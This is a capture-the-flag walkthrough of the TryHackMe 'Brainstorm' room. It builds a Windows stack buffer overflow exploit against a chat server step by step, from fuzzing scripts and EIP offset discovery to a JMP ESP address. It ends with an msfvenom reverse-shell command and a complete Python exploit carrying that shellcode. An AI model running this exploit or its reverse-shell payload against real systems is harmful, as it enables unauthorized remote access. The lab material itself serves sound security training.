Brainstorm – TryHackme

A Note To Take In Consideration

In this walk-through I’ll be using a Windows 10 virtual machine to test the buffer overflow script. This post doesn’t go over the installation of the virtual machine and the other tools used on it, instead here is a list of what is needed to follow through:

  • Windows virtual machine
  • Immunity Debugger
  • mona.py for Immunity debugger

If you are using a Kali Linux machine you would most likely already have the other tools used in this exercise.

Overall Summary

Brainstorm is a machine from TryHackMe to practice buffer overflow on a Windows machine. The machine can be found by following this link:

https://tryhackme.com/room/brainstorm

The overall process consisted in obtaining a program that is vulnerable to buffer overflow to then go through the process of making a working buffer overflow POC script on a separate Windows machine and then be used afterwards to gain a shell on brainstorm.

Scanning and Enumeration

Starting out with a TCP scan on nmap, trying to determine the services running and using the “-Pn” switch since the machine doesn’t respond to ICMP.

Right out from the scan we see that the information obtained from port 9999 contains some information about entering a username and a welcome message to “Brainstorm chat”. 

If we also take a look at port 21 (FTP) we can see that anonymous login is allowed.

With this information we can ftp to the server and see what we can find there, we can connect using the username “ftp” and password “ftp”. Listing its contents display a directory named chatserver and navigating through it reveals two files which seem relevant to the application running running on port 9999. As a side note, if you are having trouble communicating with the ftp server (like I did) go ahead an regenerate your VPN connection file.

Since this is a binary file and we don’t want to download a file that will not work we would first change our transfer mode to binary and then download the files with the get command.

To work with these two files I downloaded the files to my Windows 10 machine and hosting the files on my attacking machine using SimpleHTTPServer (make sure the machines belong to the same network). Once the files were downloaded into the Windows machine and that these two files are placed together in a folder (assuming the dll file is required by the executable) we can execute the binary as administrator.

Now if we assume that the application will be running using the same port as brainstorm we would then connect to the machine using port 9999. We can connect to the chatserver using netcat with the following command:

nc -nv 192.168.148.129 9999
Connecting to port 9999 first asks us for a username and then to write a message, with this information we can try to do some fuzzing to see if we can make the program crash when entering a username or a message.


Exploitation

To start fuzzing I will take the following skeleton python script:

#!/usr/bin/python

import socket

buff=["A"]
counter=100

while len(buff) <= 50:
    buff.append("A"*counter)
    counter=counter+200

for character in buff:
    print("Fuzzing PASS with %s bytes") % len(character)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('10.10.10.10', 110))
    s.recv(1024)
    s.send('USER test\r\n')
    s.recv(1024)
    s.send('PASS ' + character + '\r\n')
    s.send('QUIT\r\n')
    s.close()

The script basically keeps sending the character “A” and the number of characters keeps increasing until the application crashes. We will also need to modify the code a little to be able to properly interact with the chatserver program. We will change the IP address, port number, and the s.send parameters to communicate with the program. This is how the script would would look like:

#!/usr/bin/python

import socket
import time

buff=["A"]
counter=100


while len(buff) <= 30:
    buff.append("A"*counter)
    counter=counter+200


for character in buff:
    print("Fuzzing username with %s bytes") % len(character)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #IP address changed
    connect=s.connect(('192.168.148.129', 9999))       
    s.recv(1024)
    #Sending the "A" characters as a username                                       
    s.send(character)                         
    s.recv(1024)
    #sending "This is a message" to the write a message prompt
    s.send('This is a message')
    #Will wait 1 second before closing the connection and starting again loop.               
    time.sleep(1)                             
    s.close()

Running the script as it to attempt to crash the chatserver application using the username parameter and having Immunity debugger open to see if the program crashes has no success as the script finishes up at 5900 bytes with the program still running.


From the above screenshot we can see that the username is being overwritten with “A” characters but the amount of characters remain the same, this means that the program is only handling a maximum of 20 characters for the username. We will now change our python script a little to try to crash the program by sending the characters to the message option. This how the code looks like now:

#!/usr/bin/python

import socket
import time

buff=["A"]
counter=100

while len(buff) <= 30:
    buff.append("A"*counter)
    counter=counter+200

for character in buff:
    print("Fuzzing username with %s bytes") % len(character)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #IP address changed
    connect=s.connect(('192.168.148.129', 9999))       
    s.recv(1024)
    #Sending the username "my username"                                       
    s.send('my username')                         
    s.recv(1024)
    #Sending the "A" charactes as a message
    s.send(character)                             
    s.recv(1024)
    #waiting 1 second before continuing
    time.sleep(1)                                 
    s.close()

Before executing the script we will execute the program again and open immunity debugger, we will then need to attach the program to Immunity debugger by pressing ctrl+F1 or navigating to the File option and then attach on Immunity debugger, there will be a list processes and we will choose chatserver and click attach.

Once the program is attached it will be paused, so we will need to start it by pressing F9 or by clicking the play button which can be seen in the screenshot above as well. Once the program is running we can proceed to execute our python script.

We will notice that the script will hang and it stopped at around 2500 bytes. this means that the program crashes when sending 2500 bytes to it. If we take a look at Immunity debugger we will see a message at the bottom that says “Access violation” and the the program will be paused, all of these pieces of information indicate that the program has crashed.

And if we take a look at the other information from immunity debugger we will be able to see that our “A” characters were overwritten when fuzzing the program.

What we want to see here is the “EIP” register that has been overwritten with “41414141” where “41” means “A” in hexadecimal. Having control of the EIP we will now want to find the exact location of the EIP register so that we can control it. To determine this we will use pattern_create.rb, a ruby script that will create a pattern of characters that will aid us to find the exact location of the EIP register. We can find this tool in Kali Linux under:  /usr/share/metasploit-framework/tools/exploit/pattern_create.rb
When we were fuzzing the program we noticed that it stopped at around 2500 bytes so we will create a pattern of 2800 bytes just to be safe. This can be accomplished using the following command:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2800

 

 

We will now copy the output, add it to the python script and modify the script by removing the fuzzing process as it will not be needed anymore since we already know how many bytes of data it takes to crash the program, instead we will place the characters we just generated in place of the “A” characters. This is how the code would look like by now:
#!/usr/bin/python

import socket

buff=("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D")


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.148.129', 9999))       #IP address
s.recv(1024)                                       
s.send('my username')                         #Sending the username "my username".
s.recv(1024)
s.send(buff)                             #Sending the generated pattern.
s.close()
We will now repeat the process again of executing the program along with Immunity debugger and executing the modified script. The program should crash again and to find the location of the EIP we will need to find the offset from the pattern that was generated this can be accomplished by taking note of the EIP value when the program crashed.

To find the offset I’ll take note of the highlighted value and use pattern_offset.rb, another ruby script to find the offset of a given pattern length. The tool can be found within the same directory as pattern_create.rb. We’ll specify the length of the pattern and the value of the EIP to find the offset using the following command:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2800 -q 31704330
If everything worked as expected we should get an exact match.

 

Notice that the offset was found at 2012, so the next for 4 bytes will belong to the EIP registry we can test this by sending 2012 “A” characters, 4 “B” characters and the remaining space as “C” characters. I’ll now take the python script again and replace the pattern generated with the “A”, “B” and “C” characters accordingly. The code would look as follows:

#!/usr/bin/python

import socket


buff= "A" * 2012 + "B" * 4 + "C" * (2800-2012-4)


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.148.129', 9999))       #IP address
s.recv(1024)                                       
s.send('my username')                         #Sending the username "my username".
s.recv(1024)
s.send(buff)                             #Sending the generated pattern.
s.close()

Executing the script now should crash the program and overwrite the EIP registry with “B” characters (42 in hexadecimal).

From the screenshot we can see that the EIP was successfully overwritten with “B” characters and see that the “C” characters were overwritten on the ESP register, that is where our malicious code will be placed later. Now that we know the offset to overwrite the EIP register we will look for “bad characters”. Bad characters are essentially specific hexadecimal characters that could make the program do something (like an instruction), so if our malicious code contains any bad characters we will not be able to successfully get our code executed. To find bad characters, we will use the following variable:

badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

The character “x00” is a bad character by default so we will not be using it. To identify these bad characters I’ll have to add them first to the python script in place of the “C” characters so that we now that the values in the ESP register correspond to bad characters. Replacing the “C” characters with bad characters will look as follows in our python script:

#!/usr/bin/python

import socket


badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


buff= "A" * 2012 + "B" * 4 + badchars


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.148.129', 9999))       #IP address
s.recv(1024)                                       
s.send('my username')                         #Sending the username "my username".
s.recv(1024)
s.send(buff)                             #Sending the generated pattern.
s.close()
I’ll crash the program again, select the ESP value and right click on it to display a list of options to then select the “follow in dump” option. We will then see some hexadecimal values on the left side in Immunity debugger.

Looking at the Hex dump values we see a sequence of 01,02,03,04 and so on, these are the bad characters that we used before and what we want to look here is for values that are not in sequence lets take the following sequence as an example:

01 02 03 04 08

From the sequence we can see that the hex value of 05 is missing and it suddenly jumps to 08, this would mean that 05 is a bad character. Looking at all the characters from “\x01” to “\xff” there are no bad characters other than the default bad character of “\x00”. Now that we know that the only bad character is “x00” we will proceed to find the right module. Finding the module would mean to find something inside the program that doesn’t have any security protections and this process can be accomplished using mona.py. To start finding modules I’ll start typing at the bottom of Immunity debugger “!mona modules” and we should get some output as shown below:

From the output we can see that that all the protections are disabled in the essfunc.dll making it a potential candidate module to work with. The next step would be find a pointer to a JMP ESP using the essfunc.dll module, this will allow us to make a jump to the ESP register and execute our malicious code later. We can find this instruction using mona but we will need to determine the opcode value of the JMP ESP instruction first (this basically means converting assembly language to hexadecimal). To find out the hex value of the JMP ESP we will use nasm_shell.rb, another ruby tool that can be found and executed as follows:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

Once executed we can simply type JMP ESP and it will return the hexadecimal value.

Now that we have the hexadecimal value we can go back to Immunity debugger and find a pointer to the JMP ESP using the essfunc.dll module, this can be accomplished by using the following command in Immunity debugger:

!mona find -s "\xff\xe4" -m essfunc.dll

We’ll be presented with 9 pointers which we could work with down the list if one doesn’t work. What we are more interested are the addresses from the results.

I’ll take note of the first address “625014df” in this case, and what we want is to place that address in our code to overwrite the EIP register so that it makes the jump to ESP. Instead of using four “B” characters we’ll use the address instead, the address will be added to our python script in “little endian format” (reverse order) this is because on how the x86 architecture stores information. This is how the script would look like by now:

#!/usr/bin/python

import socket

buff= "A" * 2012 + "\xdf\x14\x50\x62" + "C" * (2800-2012-4)


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.148.129', 9999))       #IP address
s.recv(1024)                                       
s.send('my username')                         #Sending the username "my username".
s.recv(1024)
s.send(buff)                             #Sending the generated pattern.
s.close()

Before trying to execute our script and crash the program I’ll place a break point at the address that we obtained to see if the program does the jump to the pointer when the EIP gets overwritten. We can do this by clicking the find address option, entering the address (it may require to enter the address twice), selecting the JMP ESP instruction, and pressing F2 to place the breakpoint.

Once the breakpoint is placed, resume the program again in Immunity debugger and execute the modified python script. Up to this point, the breakpoint should be reached at the JMP ESP instruction and the EIP value should be the address of the essfunc.dll file.

We now control what will happen once the EIP gets overwritten so we can start making our malicious code to get a reverse shell, we will use msfvenom to generate a shellcode. I generated a shellcode to get a reverse shell using the following command:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.148.133 LPORT=443 --platform windows -a x86 EXITFUNC=thread -b '\x00' -f c
The command is using a payload for a windows reverse shell with the IP address of the attacking machine and a port of 443, the other options are for specifying the platform and architecture. The “EXITFUNC=thread” option was used to prevent the program from closing when the reverse shell is lost, this is very helpful if you want to quickly execute the script again to get a reverse shell without needing to restart the program, also notice that bad characters are specified by using the “-b” switch (\x00 only in this case) and lastly generating the shellcode in C format as specified by the “-f” switch. Executing the command above will output the shellcode which we will add to our code.

 

When modifying our code we will place the shellcode instead of the “C” characters but before that we will give it some space of about 32 bytes of “nops” which is essentially an instruction or command in assembly to do nothing, this will leave some room before our shellcode gets executed. Nops are represented as “\x90” in hexadecimal. If we had everything together our code will look like this:

#!/usr/bin/python

import socket


shellcode=("\xda\xce\xb8\x32\xd5\x0d\x51\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x52\x31\x42\x17\x03\x42\x17\x83\xf0\xd1\xef\xa4\x08\x31\x6d"
"\x46\xf0\xc2\x12\xce\x15\xf3\x12\xb4\x5e\xa4\xa2\xbe\x32\x49"
"\x48\x92\xa6\xda\x3c\x3b\xc9\x6b\x8a\x1d\xe4\x6c\xa7\x5e\x67"
"\xef\xba\xb2\x47\xce\x74\xc7\x86\x17\x68\x2a\xda\xc0\xe6\x99"
"\xca\x65\xb2\x21\x61\x35\x52\x22\x96\x8e\x55\x03\x09\x84\x0f"
"\x83\xa8\x49\x24\x8a\xb2\x8e\x01\x44\x49\x64\xfd\x57\x9b\xb4"
"\xfe\xf4\xe2\x78\x0d\x04\x23\xbe\xee\x73\x5d\xbc\x93\x83\x9a"
"\xbe\x4f\x01\x38\x18\x1b\xb1\xe4\x98\xc8\x24\x6f\x96\xa5\x23"
"\x37\xbb\x38\xe7\x4c\xc7\xb1\x06\x82\x41\x81\x2c\x06\x09\x51"
"\x4c\x1f\xf7\x34\x71\x7f\x58\xe8\xd7\xf4\x75\xfd\x65\x57\x12"
"\x32\x44\x67\xe2\x5c\xdf\x14\xd0\xc3\x4b\xb2\x58\x8b\x55\x45"
"\x9e\xa6\x22\xd9\x61\x49\x53\xf0\xa5\x1d\x03\x6a\x0f\x1e\xc8"
"\x6a\xb0\xcb\x5f\x3a\x1e\xa4\x1f\xea\xde\x14\xc8\xe0\xd0\x4b"
"\xe8\x0b\x3b\xe4\x83\xf6\xac\xcb\xfc\x6c\xa9\xa4\xfe\x8c\xb3"
"\x8f\x76\x6a\xd9\xff\xde\x25\x76\x99\x7a\xbd\xe7\x66\x51\xb8"
"\x28\xec\x56\x3d\xe6\x05\x12\x2d\x9f\xe5\x69\x0f\x36\xf9\x47"
"\x27\xd4\x68\x0c\xb7\x93\x90\x9b\xe0\xf4\x67\xd2\x64\xe9\xde"
"\x4c\x9a\xf0\x87\xb7\x1e\x2f\x74\x39\x9f\xa2\xc0\x1d\x8f\x7a"
"\xc8\x19\xfb\xd2\x9f\xf7\x55\x95\x49\xb6\x0f\x4f\x25\x10\xc7"
"\x16\x05\xa3\x91\x16\x40\x55\x7d\xa6\x3d\x20\x82\x07\xaa\xa4"
"\xfb\x75\x4a\x4a\xd6\x3d\x6a\xa9\xf2\x4b\x03\x74\x97\xf1\x4e"
"\x87\x42\x35\x77\x04\x66\xc6\x8c\x14\x03\xc3\xc9\x92\xf8\xb9"
"\x42\x77\xfe\x6e\x62\x52")


buff= "A" * 2012 + "\xdf\x14\x50\x62" + "\x90" * 32 + shellcode


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.148.129', 9999))       #IP address
s.recv(1024)                                       
s.send('my username')                         #Sending the username "my username".
s.recv(1024)
s.send(buff)                             #Sending the generated pattern.
s.close()

Now, if we execute the program and our script again and set a netcat session (on port 443 in my case) we should be getting a reverse shell.

Depending on how the program was executed you will either be a low privilege user or an Administrative user. Now that we have a fully working buffer overflow script we only need to generate a new shellcode with msfvenom using our VPN IP address to catch a reverse shell and change the victim IP address in the python script to the IP address belonging to the Brainstorm machine. Once I generated the new shellcode with the VPN address, added to the script, and changed the IP address, I once again set my netcat listener and executed the script, I was able to successfully gain a reverse shell as “NT Authority”.

 

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments